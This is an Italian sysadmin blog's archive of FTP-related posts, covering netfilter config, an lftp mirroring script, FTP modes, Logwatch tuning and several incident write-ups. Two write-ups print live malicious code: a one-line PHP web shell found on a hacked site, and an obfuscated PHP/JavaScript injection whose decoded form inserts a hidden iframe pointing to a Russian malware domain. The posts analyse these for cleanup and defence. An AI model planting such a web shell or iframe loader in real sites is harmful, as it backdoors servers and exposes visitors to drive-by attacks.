Archivi tag: ftp

FTP in modalità passiva e netfilter su CentOS 6

Sicurezza, , , , , ,

In questo post ho spiegato qual è la differenza tra la modalità attiva e quella passiva (PASV) del servizio FTP.

Per fare in modo che la modalità passiva possa funzionare correttamente su Centos 6 è necessario configurare il firewall (netfilter) in modo appropriato, garantendo il supporto dello stateful inspection.

 

iptables,ipchains,conntrack,ftp,modalità attiva,modalità passiva,pasv

Per fare ciò occorre inserire questa regola all’interno del file di configurazione di netfilter, ovvero /etc/sysconfig/iptables (dove iptables non è altro che la CLI di netfilter):

-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

A questo punto si dovrà abilitare un particolare modulo di netfilter (affinchè possa tenere correttamente traccia delle sessioni FTP attive) ovvero ip_conntrack_ftp, editando il file /etc/sysconfig/iptables-save:

IPTABLES_MODULES="ip_conntrack_ftp"

Restartiamo il servizio di firewalling mediante il comando:

[root@sever ~]# service iptables restart

ed abbiamo finito.

A presto.

Ancora un sito violato

Sicurezza, , , , , ,

Recentemente ho dovuto fare un po’ di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).

backdoor.jpg

Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:

xxx.php

il cui contenuto era semplice ma abbastanza esplicativo:

GIF89a
<?php system("$_GET[cmd]"); exit; ?>

In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.

Per intenderci, utilizzando una URL forgiata nel seguente modo:

http://www.sito.com?ls

sarebbe stato possibile per l’attaccante listare il contenuto delle directory, oppure, mediante:

http://www.sito.com?ping%20indirizzoip

avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).

Ovviamente, i comandi a disposizione dell’attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.

Fortunatamente, l’hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:

Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2

Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.

E’ tutto.

PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.

lftp: script bash per verificare l’esistenza di una directory remota

SO: Linux, , , , ,

Lftp rappresenta un utilissimo strumento per effettuare il mirroring (e non solo) di una o più directory remote.

mirror.jpg

Spulciando la manpage del suddetto tool ho notato che non esiste alcuna opzione in grado di verificare l’esistenza di una directory remota prima di inizializzare il mirroring. Proprio per questo motivo, ho deciso di realizzare il seguente scrip:

#!/bin/bash
HOST="hostname.ftpserver.com"
USER="username"
PASS="password"
LCD="/home/nightfly/prova"
RCD="/prova"

if [ ! -d $LCD ]; then
mkdir $LCD;
fi

date

lftp -c "set ftp:list-options -a;
set cmd:interactive;
open ftp://$USER:$PASS@$HOST;
lcd $LCD;
ls > /var/log/check;
quit"

if grep -q "prova" /var/log/check
        then
        lftp -c "set ftp:list-options -a;
        open ftp://$USER:$PASS@$HOST;
        lcd $LCD;
        cd $RCD;
        mirror -p -nvvv;
        quit;"
else
        cat /dev/null > /var/log/check
        exit 0
fi

In particolare, viene lanciata una prima sessione FTP che ha come unico scopo quello di listare il contenuto della root (/) remota, salvandolo in un apposito file di testo.

Successivamente, se tale file contiene la directory remota target, viene avviato il mirroring vero a proprio, altrimenti viene svuotato e lo scrip esce.

Alla prossima.

File Transfer Protocol in tutte le salse

Networking, , , , , , , ,

Chiunque abbia un background sistemistico avrà sentito parlare del File Transfer Protocol (FTP). Esso si basa sul protocollo TCP (lato trasporto) e dunque implica dei collegamenti di tipo affidabile. Inoltre, sfrutta le porte 20 e 21 (dette rispettivamente Data e Command), la prima per il trasferimento dei dati e la seconda per l’invio dei comandi.

Ma andiamo con ordine. Il suddetto protocollo può funzionare in 2 modalità:

1) attiva;

2) passiva.

Nel primo caso il client contatta il server sulla porta 21, inviandogli il comando PORT, in cui specifica appunto la porta ( >1023) su cui il server potrà provare a connettersi. A questo punto, dato che il server conosce la suddetta porta, lancerà un tentativo di connessione proveniente dalla porta 20 e diretta a quella precedentemente specificata dal client.

activeftp.gif

Nel secondo caso, invece, il client invia al server (sempre mediante la porta 21), il comando PASV (tentativo di connessione in modalità passiva) a cui il server risponde con il comando PORT (specificando una porta >1023). A questo punto sarà il client a tentare di instaurare la connessione dati verso la porta specificata dal server (a differenza di quanto avveniva nella modalità attiva).

passiveftp.gif

Ma quando utilizzare una o l’altra modalità? Semplice. Potrebbe accadere che il client si trovi dietro un firewall e che quindi i tentativi di connessione provenienti dal server vengano droppati. In questo caso è necessario utilizzare la modalità passiva, poichè in questo modo sarà sempre il client ad effettuare i tentativi di connessione, aggirando le restrizioni imposte dal suddetto firewall (essi, salvo eccezioni, solitamente non filtrano i tentativi di connessione in uscita da porte “alte”).

Avrete notato che la denominazione delle modalità avviene prendendo come punto di riferimento il server: se il traffico dati avviene mediante connessione instaurata dal server verso il client parliamo di modalità attiva; viceversa, se è il client ad effettuare la connessione dati verso il server parliamo di modalità passiva.

Ora, poichè il protocollo FTP è piuttosto datato, esso risulta abbastanza vulnerabile, soprattutto nei confronti operazioni di sniffing del traffico (poichè il trasferimento dati e l’invio di comandi viaggiano in chiaro).

Poprio per questo motivo negli anni si è cercato di correre ai ripari, creando dei meccanismi di cifratura che potessero garantire:

1) autenticazione della fonte;

2) confidenzialità.

Il primo tentativo di questo tipo prese il nome di SFTP (che sta per SSH File Transfer Protocol), ovvero un protocollo basato su SSH versione 2 (anche se esistono delle varianti basate su SSHv1, ma non tutti i client sono compatibili). Esso, più che un protocollo di trasferimento file, rappresenta una sorta di “file system remoto”, consentendo dunque di effettuare operazioni quali la creazione di nuove directory, la cancellazione dei file, ecc. Una restrizione del suddetto protocollo è rappresentata da SCP (Secure Copy), che consente solo il trasferimento dei file.

Entrambi i protocolli menzionati in precedenza, però, presentano una limitazione: necessitano di shell account per funzionare.

Proprio per evitare ciò è stato creato FTPS (FTP over SSL), che sfrutta i meccanismi di cifratura messi a disposizione dai protocolli SSL/TLS.

Esso può essere di due tipologie:

1) implicito;

2) esplicito.

Nel primo caso il server è in ascolto su una porta diversa dalla 21 (solitamente la 990) e tale tipologia è stata creata soprattutto per questioni di retrocompatibilità.

Nel secondo caso, invece, il server è in ascolto sulla classica porta 21 (FTP Command), ed accetta il comando esplicito AUTH <meccanismo di cifratura>, ad esempio AUTH TLS.

Dopo questa piccola premessa, prossimamente vedremo come abilitare FTPS su vsftpd.

A presto.

I soliti cracker russi…

Sicurezza, , , , , , , , , , ,

E’ un lunedì sera. Sono a casa bello tranquillo quando ad un tratto mi arriva una telefonata inaspettata: il sito di un amico è stato defacciato. Ok, mi collego al sito e con mia enorme sorpresa mi accorgo della presenza del seguente codice PHP:

#c3284d# echo(gzinflate(base64_decode("JY5BjsIwEATvSPzBmgu7l1jaIxvnFXxgcIZ4VoltjRsCvydsbq2Wqqv7Fk0rHF5VAkGe8H/84L2l4XgYS7wvktGtpp CvU68340VcsxgoAfXsfTRh6EPUSmZDlwVeF56k+QZG62qq5PKGBbqsCoiR2xRlnjVPgfiOQu5/91psFAuUt4JnnXKguNk/QBKdEgL9kFt1RPqkoff7n+H0/X s89H4/PrwB"))); #/c3284d#

Si tratta molto banalmente di codice cifrato mediante due funzioni piuttosto blande, ovvero gzinflate e base64_decode.

Decifrandolo, ho ottenuto quanto segue:

<scrip type="text/javascrip"> try{1-prototype;}catch(bsdtwbd){q=412;} if(020==0x10){f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];}if(document)e=eval;w=f;s=[];r=String.fromCharCode;for(i=0;-i+279!=0;i+=1){j=i;if(e)s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));} if(q&&f&&012===10)e(s); </scrip>

che, a primo acchito, può sembrare una rogna, ma effettuando la giusta formattazione del codice, inserendo un document.write(s) nel giusto punto del sorgente e creando una pagina HTML ad hoc:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <scrip type="text/javascrip">
 try{1-prototype;}
 catch(bsdtwbd)
 {q=412;}
 if(020==0x10)
 {
 f=[94,108,100,91,107,95,103,101,22,94,105,99,57,91,90,32,32,22,115,4,0,110,88,104,24,96,92,106,100,22,53,23,90,103,90,107,101,92,100,108,37,89,106,92,87,108,92,59,100,92,99,93,101,106,32,30,95,94,105,87,101,92,29,33,50,3,2,96,92,106,100,36,107,107,111,100,92,36,104,102,105,97,107,95,103,101,51,31,88,88,107,102,98,109,107,91,31,50,3,2,96,92,106,100,36,107,107,111,100,92,36,108,102,102,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,108,112,98,93,37,98,93,93,106,53,30,35,49,48,47,93,100,29,51,4,0,97,93,104,101,37,105,106,90,22,24,52,22,26,95,106,108,103,48,39,38,98,89,107,101,99,102,112,38,105,107,39,90,101,109,101,106,42,37,102,96,103,24,51,4,0,97,93,104,101,37,95,92,23,51,24,30,92,106,100,63,92,30,49,5,1,90,103,90,107,101,92,100,108,37,88,103,91,111,38,88,102,104,92,100,92,58,94,97,99,90,32,96,92,106,100,31,51,4,0,117,50,3,2,110,95,102,91,101,111,37,101,102,99,101,89,91,22,53,23,92,106,100,55,92,91,49];
 }
 if(document)
 e=eval;
 w=f;
 s=[];
 r=String.fromCharCode;
 for(i=0;-i+279!=0;i+=1)
 {
 j=i;
 if(e)
 {
 s=s+r((w[j]*1+(8+e("j"+"%"+"3"))));
 }
 }
 document.write(s);
 if(q&&f&&012===10)
 e(s);
 </scrip>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Untitled Document</title>
 </head>
 <body>
 </body>
 </html>

si ottiene:

function frmAdd() {
 var ifrm = document.createElement('iframe');
 ifrm.style.position='absolute';
 ifrm.style.top='-999em';
 ifrm.style.left='-999em';
 ifrm.src = "http://latokoz.ru/count2.php";
 ifrm.id = 'frmId';
 document.body.appendChild(ifrm); };
 onload = frmAdd;

Ebbene si, trattasi di un attacco XSS che inietta sul sito vittima del codice javascrip (opportunamente offuscato), la cui funzione è quella di creare un iframe che punta alla URL http://latokoz.ru/count2.php

Ecco alcune info sul dominio latokoz.ru (con annesso reverse lookup):

nightfly@nightbox:~$ whois latokoz.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        LATOKOZ.RU
nserver:       ns1.newrect.com.
nserver:       ns2.newrect.com.
nserver:       ns3.newrect.com.
nserver:       ns4.newrect.com.
nserver:       ns5.newrect.com.
nserver:       ns6.newrect.com.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     REGGI-REG-RIPN
admin-contact: http://www.webdrive.ru/webmail/
created:       2012.08.01
paid-till:     2013.08.01
free-date:     2013.09.01
source:        TCI

Last updated on 2012.08.06 22:56:31 MSK
nightfly@nightbox:~$ host latokoz.ru
 latokoz.ru has address 78.8.44.226

Vado di wget e provo a scaricare la suddetta pagina:

nightfly@nightbox:~$ wget http://latokoz.ru/count2.php

Il cui contenuto è, molto banalmente:

<!DOCTYPE HTML>
 <html>
 <head>
 <scrip type="text/javascrip">
 parent. = "http://edrefak.ru/";
 </scrip>
 </head>
 <body>
 </body>
 </html>

Come sempre, whois e reverse lookup sul dominio in questione:

nightfly@nightbox:~$ host edrefak.ru
edrefak.ru has address 46.161.45.107
nightfly@nightbox:~$ whois edrefak.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        EDREFAK.RU
nserver:       ns1.izdomik.ru.
nserver:       ns2.izdomik.ru.
state:         REGISTERED, DELEGATED, UNVERIFIED
person:        Private Person
registrar:     NAUNET-REG-RIPN
admin-contact: https://client.naunet.ru/c/whoiscontact
created:       2012.07.29
paid-till:     2013.07.29
free-date:     2013.08.29
source:        TCI

Last updated on 2012.08.06 23:06:37 MSK

Trattasi di un sito che commercializza un prodotto simil-Viagra (si, avete capito bene), in cui è presente il seguente codice js (dopo il footer):

<!-- HotLog -->
 <scrip type="text/javascrip" language="javascrip">
 hotlog_js="1.0"; hotlog_r=""+Math.random()+"&amp;s=2241559&amp;im=35&amp;r="+
 escape(document.referrer)+"&amp;pg="+escape(.href);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.1">
 hotlog_js="1.1"; hotlog_r+="&amp;j="+(navigator.javaEnabled()?"Y":"N");
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.2">
 hotlog_js="1.2"; hotlog_r+="&amp;wh="+screen.width+"x"+screen.height+"&amp;px="+
 (((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth);
 </scrip>
 <scrip type="text/javascrip" language="javascrip/1.3">
 hotlog_js="1.3";
 </scrip>
 <scrip type="tex/javascrip" language="javascrip">
 hotlog_r+="&amp;js="+hotlog_js;
 document.write('<a href="http://click.hotlog.ru/?2241559" target="_blank"><img '+
 'src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?'+
 hotlog_r+'" border="0" width="88" height="31" alt="HotLog"></a>');
 </scrip>
 <noscrip>
 <a href="http://click.hotlog.ru/?2241559" target="_blank"><img
 src="http://hit41.hotlog.ru/cgi-bin/hotlog/count?s=2241559&amp;im=35" border="0"
 width="88" height="31" alt="HotLog"></a>
 </noscrip>
 <!-- /HotLog -->

Ma cos’è HotLog.ru? E’ semplicemente un sito che rilascia dei tracker cookies, in modo da poter “tracciare” le abitudini dei visitatori. In questo modo i cracker avranno una fonte di informazioni molto preziosa su cui modellare eventuali email di spamming o di phishing.

Se effettuate una ricerca su Google utilizzando la stringa:

try{1-prototype;}

vi accorgerete che di siti infetti ce n’è una marea.
Affinchè eventuali visitatori “vittima” di questo tipo di attacco possano dormire sonni tranquilli, consiglio loro di brasare i cookies e la cache del browser.

Per maggiori info sulla rimozione dei tracker cookies vi rimando a questo sito:

http://www.exterminate-it.com/malpedia/remove-hotlog-ru

Infine, tiriamo le somme:

1) non avendo accesso diretto ai log FTP ed HTTP del server di hosting, non posso individuare l’IP sorgente dell’attacco, anche se sono quasi certo che i cracker non si siano esposti direttamente, ma abbiano usato un altro sito infetto come testa di ponte;

2) data la legislazione russa (e dei Paesi dell’ex Unione Sovietica in genere), i proprietari dei domini su cui vengono effettuati i rimbalzi hanno le spalle coperte (non è un caso che i whois non mostrino alcuna informazione utile);

3) recentemente si sono moltiplicati gli attacchi diretti ai server Web/FTP mediante l’uso di credenziali di accesso lecite. Probabilmente anche l’attacco in questione è stato perpretrato utilizzando le suddette modalità. A tal proposito, vi consiglio di cambiare le credenziali FTP di tutti gli utenti, oltre a modificare username e password dei vostri account di posta (ho il vago spospetto che sia proprio questo il mezzo attraverso il quale i cracker ottengono le giuste credenziali).

4) per gli sviluppatori: ogni tanto date un’occhiata al codice sorgente del vostro sito, magari attraverso degli scrip bash (e simili), in modo da avere tempi di reazione ridotti e correre ai ripari il prima possibile in caso di attacco. Inoltre, se utilizzate CMS (Joomla, WordPress, Drupal, ecc.), assicuratevi di aver installato l’ultima versione (con annesse security patch) ed utilizzate degli add-on che possono aumentare il livello di sicurezza offerto.

Fine del post, alla prossima.

 

Attacco a GoDaddy.com: alcune precisazioni

Sicurezza, , , , , , , ,

Ok, in questo post vi avevo parlato di un attacco che molto probabilmente coinvolgeva i siti hostati su GoDaddy. In realtà, però, ultimanente è cresciuto a dismisura il numero di Web Hosting violati, ergo parlare solo di GoDaddy sarebbe estremamente riduttivo.

 

cracker2.jpg

Mi spiego meglio: sia sul mio server FTP (casalingo) che su 2 server hostati su 2 differenti farm si sono verificati tentativi di accesso usando credenziali FTP lecite. Ciò significa che in circolazione è presente un malware che riesce ad intercettare il contenuto delle email ed a ricavare le credenziali dei server FTP scambiate attraverso il suddetto canale di comunicazione (che di per sè è poco sicuro).

Per quanto mi riguarda, sul mio server ho provveduto a rimuovere completamente gli account relativi agli utenti le cui credenziali sono state violate, in un altro caso ho provveduto a monitorare gli accessi FTP mediante i file di log, arrivando sempre e comunque alla stessa conclusione, ovvero che alcuni cracker sono riusciti ad individuare le giuste credenziali per eccedere ai server.

Inoltre, entrambe le pagine dei server Web su hosting provider presentavano del codice javascrip creato ad-hoc, ovvero:

http://fossfotography.com/wp-content/uploads/process.js

In realtà, però, se puntiamo alla directory uploads, il risultato è il seguente:

nightfly@nightbox:~$ wget http://fossfotography.com/wp-content/uploads/
--2012-07-25 11:10:24--  http://fossfotography.com/wp-content/uploads/
Resolving fossfotography.com... 173.201.146.128

Connecting to fossfotography.com|173.201.146.128|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://fossfotography.com/var/chroot/home/content/90/5954490/html/wp-content/htttp://reltime2012.ru/frunleh?9 [following]
--2012-07-25 11:10:25--  http://fossfotography.com/var/chroot/home/content/90/5954490/html/wp-content/htttp://reltime2012.ru/frunleh?9
Reusing existing connection to fossfotography.com:80.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://fossfotography.com/htttp://reltime2012.ru/frunleh?9 [following]
--2012-07-25 11:10:25--  http://fossfotography.com/htttp://reltime2012.ru/frunleh?9
Reusing existing connection to fossfotography.com:80.

ovvero avviene un redirect sulla URL htttp://reltime2012.ru/frunleh?9

No, non è un errore di battitura, è proprio htttp e non http.

A questo punto ho deciso di lanciare un wget su http://reltime2012.ru/frunleh?9

ed il risultato è stato questo:

nightfly@nightbox:~$ wget http://reltime2012.ru/frunleh?9
--2012-07-25 11:11:28--  http://reltime2012.ru/frunleh?9
Resolving reltime2012.ru... 67.215.65.132
Connecting to reltime2012.ru|67.215.65.132|:80... connected.
HTTP request sent, awaiting response... 303 See Other
Location: http://guidetest.a.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:28--  http://guidetest.a.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving guidetest.a.id.opendns.com... 67.215.67.10
Connecting to guidetest.a.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.guidetest.b.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:29--  http://w10.guidetest.b.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.guidetest.b.id.opendns.com... 67.215.67.10
Connecting to w10.guidetest.b.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.w10.guidetest.c.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:29--  http://w10.w10.guidetest.c.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.w10.guidetest.c.id.opendns.com... 67.215.67.10
Connecting to w10.w10.guidetest.c.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.w10.w10.guidetest.d.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:30--  http://w10.w10.w10.guidetest.d.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.w10.w10.guidetest.d.id.opendns.com... 67.215.67.10
Connecting to w10.w10.w10.guidetest.d.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://w10.w10.w10.w10.guidetest.e.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:30--  http://w10.w10.w10.w10.guidetest.e.id.opendns.com/?url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving w10.w10.w10.w10.guidetest.e.id.opendns.com... 67.215.67.10
Connecting to w10.w10.w10.w10.guidetest.e.id.opendns.com|67.215.67.10|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.website-unavailable.com/?wc=EWJpExd9AQVABBJuAQ8=&url=reltime2012%2Eru%2Ffrunleh%3F9 [following]
--2012-07-25 11:11:31--  http://www.website-unavailable.com/?wc=EWJpExd9AQVABBJuAQ8=&url=reltime2012%2Eru%2Ffrunleh%3F9
Resolving www.website-unavailable.com... 208.69.33.136
Connecting to www.website-unavailable.com|208.69.33.136|:80... connected.
HTTP request sent, awaiting response... 200 OK
Cookie coming from www.website-unavailable.com attempted to set domain to www.website-unavailable.com
Length: 3877 (3.8K) [text/html]
Saving to: `frunleh?9'

Dall’output si evince che la URL non è più raggiungibile (non esiste alcuna entry DNS).

Successivamente un whois riportava le seguenti info:

nightfly@nightbox:~$ whois  reltime2012.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).

domain:        RELTIME2012.RU
nserver:       ns1.reg.ru.
nserver:       ns2.reg.ru.
state:         REGISTERED, NOT DELEGATED, VERIFIED
person:        Private Person
registrar:     REGRU-REG-RIPN
admin-contact: http://www.reg.ru/whois/admin_contact
created:       2012.07.03
paid-till:     2013.07.03
free-date:     2013.08.03
source:        TCI

Last updated on 2012.07.25 14:00:46 MSK

Gli NS del registrar sono ns1.reg.ru ed ns2.reg.ru. Vediamo se una query con dig riesce a darmi qualche indirizzo IP utile associato a quell’FQDN (alias record A):

nightfly@nightbox:~$ dig @ns1.reg.ru  reltime2012.ru

; <<>> DiG 9.7.0-P1 <<>> @ns1.reg.ru reltime2012.ru
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37008
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;reltime2012.ru.                        IN      A

;; AUTHORITY SECTION:
reltime2012.ru.         43200   IN      SOA     ns1.reg.ru. hostmaster.ns1.reg.ru. 1341617290 14400 3600 604800 21600

;; Query time: 161 msec
;; SERVER: 31.31.204.37#53(31.31.204.37)
;; WHEN: Wed Jul 25 12:13:24 2012
;; MSG SIZE  rcvd: 87

nightfly@nightbox:~$ dig @ns2.reg.ru  reltime2012.ru

; <<>> DiG 9.7.0-P1 <<>> @ns2.reg.ru reltime2012.ru
; (2 servers found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36077
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;reltime2012.ru.                        IN      A

;; AUTHORITY SECTION:
reltime2012.ru.         43200   IN      SOA     ns1.reg.ru. hostmaster.ns1.reg.ru. 1341617290 14400 3600 604800 21600

;; Query time: 122 msec
;; SERVER: 31.31.204.25#53(31.31.204.25)
;; WHEN: Wed Jul 25 12:15:11 2012
;; MSG SIZE  rcvd: 87

Niente da fare, non riesco ad ottenere alcun indirizzo IP associato al suddetto FQDN.

Però, mi lascia riflettere la seguente stringa:

;; WARNING: recursion requested but not available

Ciò significa che i suddetti NS funzionano in modalità ricorsiva, ovvero sono a conoscenza degli NS autoritativi per quel particolare dominio, ma non sono autorizzati ad effettuare la suddetta richiesta.

Infine, mi son giocato la carta dei trasferimenti di zona forzosi, ma anche questo tentativo non è andato a buon fine:

nightfly@nightbox:~$ dig @ns2.reg.ru reg.ru axfr

; <<>> DiG 9.7.0-P1 <<>> @ns2.reg.ru reg.ru axfr
; (2 servers found)
;; global options: +cmd
; Transfer failed.
nightfly@nightbox:~$ dig @ns1.reg.ru reg.ru axfr

; <<>> DiG 9.7.0-P1 <<>> @ns1.reg.ru reg.ru axfr
; (2 servers found)
;; global options: +cmd
; Transfer failed.

Per la serie “i russi non si smentiscono mai”…

Logwatch e le unmatched entries

SO: Linux, , , , , , ,

Scenario: server casalingo con installato Nagios per controllare i servizi ed un server FTP attivo 24/7. Su tale macchina è presente Logwatch con funzioni di reportistica giornaliera, settimanale e mensile.

Problema: un numero indefinito di unmatched entries presenti nel file generato da Logwatch. Esse si riferiscono principalmente ai check di Nagios relativi al servizio FTP.

Soluzione: portare Logwatch ad ignorare i suddetti check.

logwatch.jpg

Per fare ciò occorre prima di tutto creare il file ignore.conf all’interno della directory /etc/logwatch/conf:

nightfly@nightbox:~$ cd /etc/logwatch/conf/
nightfly@nightbox:/etc/logwatch/conf$ touch ignore.conf

Successivamente, all’interno di tale file sarà necessario inserire la seguente direttiva:

.*Client "127.0.0.1"

In questo modo, tutti i check di Nagios verrano totalmente ignorati dalla reportistica di Logwatch, eliminando informazioni superflue e facilitando la vita al sysadmin (aka il sottoscritto).

Enjoy.

Il lunedì mattina ed il PenTest non richiesto

Sicurezza, , , , ,

E’ un lunedì mattina standard, e per standard intendo “voglia di fare pari a -infinito”. Mentre mi dirigo a lavoro sento vibrare lo smartphone. Accosto, rapida occhiata alle email e mi ritrovo tutta una serie di messaggi generati da swatch che mi segnalano dei tentativi di login FTP falliti.

scan, nmap, vulnerability, ftp, anonymous, metasploit

Uhm, “il classico cinese”, dico io, anche a giudicare dall’indirizzo IP sorgente, che a primo acchito sembra tutto fuorchè italiano.

Nulla di insolito quindi, metto la freccia e riparto. Purtroppo, però, ripartono anche le email di swatch.

Fast forward di un’ora e mezza (circa). Arrivo a lavoro, accendo il mio laptop, mi connetto via SSH su uno dei miei server a lancio un nmap verso l’IP sorgente dell’attacco. Ecco il risultato:

nightfly@nightbox:~$ sudo nmap -sS 216.17.107.174
[sudo] password for nightfly:

Starting Nmap 5.00 ( http://nmap.org ) at 2012-05-28 09:21 CEST
Interesting ports on 216.17.107.174:
Not shown: 855 closed ports, 144 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Apro il browser, accedo al suddetto sito mi ritrovo una home page il cui contenuto è il seguente:

 To Whom It May ConcernThis system is coordinating an internet-wide survey of open TCP ports, service banners, SNMP system descriptions, and NetBIOS name queries. The results of this survey will be used to uncover systematic vulnerabilities in the equipment provided by ISPs to their customers. My goal is to collect this information, determine which ISPs are exposing their customers to internet-based attacks, and contact those ISPs with my findings. If you would like to have your network excluded from this scan, please send an email to admin@critical.io. Please include a list of netblocks or at the least the domain name or ASN that you would like excluded. If you are concerned about what an attacker can discover about your network using these types of probes, there are great free tools such as Metasploit and Nmap that can be used to gather this information on your own.- HD Moore

(omissis)

Ora, non vorrei sollevare troppe polemiche in merito, ma è necessario usare Metasploit per tentare un login FTP anonimo oppure utilizzando come username ftp e come password <password>? Non ci credete? Ecco la prova:

nightfly@navigare-server:~$ cat /var/log/vsftpd.log | grep 216.17.107.174
 Mon May 28 07:23:13 2012 [pid 14837] CONNECT: Client "216.17.107.174"
 Mon May 28 07:23:13 2012 [pid 14837] FTP response: Client "216.17.107.174", "220                                                                                         Welcome to E.T.M. FTP service."
 Mon May 28 07:23:13 2012 [pid 14837] FTP command: Client "216.17.107.174", "USER                                                                                         ftp"
 Mon May 28 07:23:13 2012 [pid 14837] [ftp] FTP response: Client "216.17.107.174"                                                                                        , "331 Please specify the password."
 Mon May 28 07:23:14 2012 [pid 14837] [ftp] FTP command: Client "216.17.107.174",                                                                                         "PASS <password>"
 Mon May 28 07:23:16 2012 [pid 14836] [ftp] FAIL LOGIN: Client "216.17.107.174"
 Mon May 28 07:23:17 2012 [pid 14837] [ftp] FTP response: Client "216.17.107.174"                                                                                        , "530 Login incorrect."
 Mon May 28 07:23:17 2012 [pid 14837] FTP command: Client "216.17.107.174", "HELP                                                                                        "
 Mon May 28 07:23:17 2012 [pid 14837] FTP response: Client "216.17.107.174", "530                                                                                         Please login with USER and PASS."
 Mon May 28 07:23:17 2012 [pid 14837] FTP command: Client "216.17.107.174", "QUIT                                                                                        "
 Mon May 28 07:23:17 2012 [pid 14837] FTP response: Client "216.17.107.174", "221                                                                                         Goodbye."

Morale della favola: su Internet ci sono troppi millantatori che si spacciano per esperti di sicurezza informatica e sinceramente credo che questi white scrip kiddie dovrebbero smetterla di rompere le balle.

Alla prossima.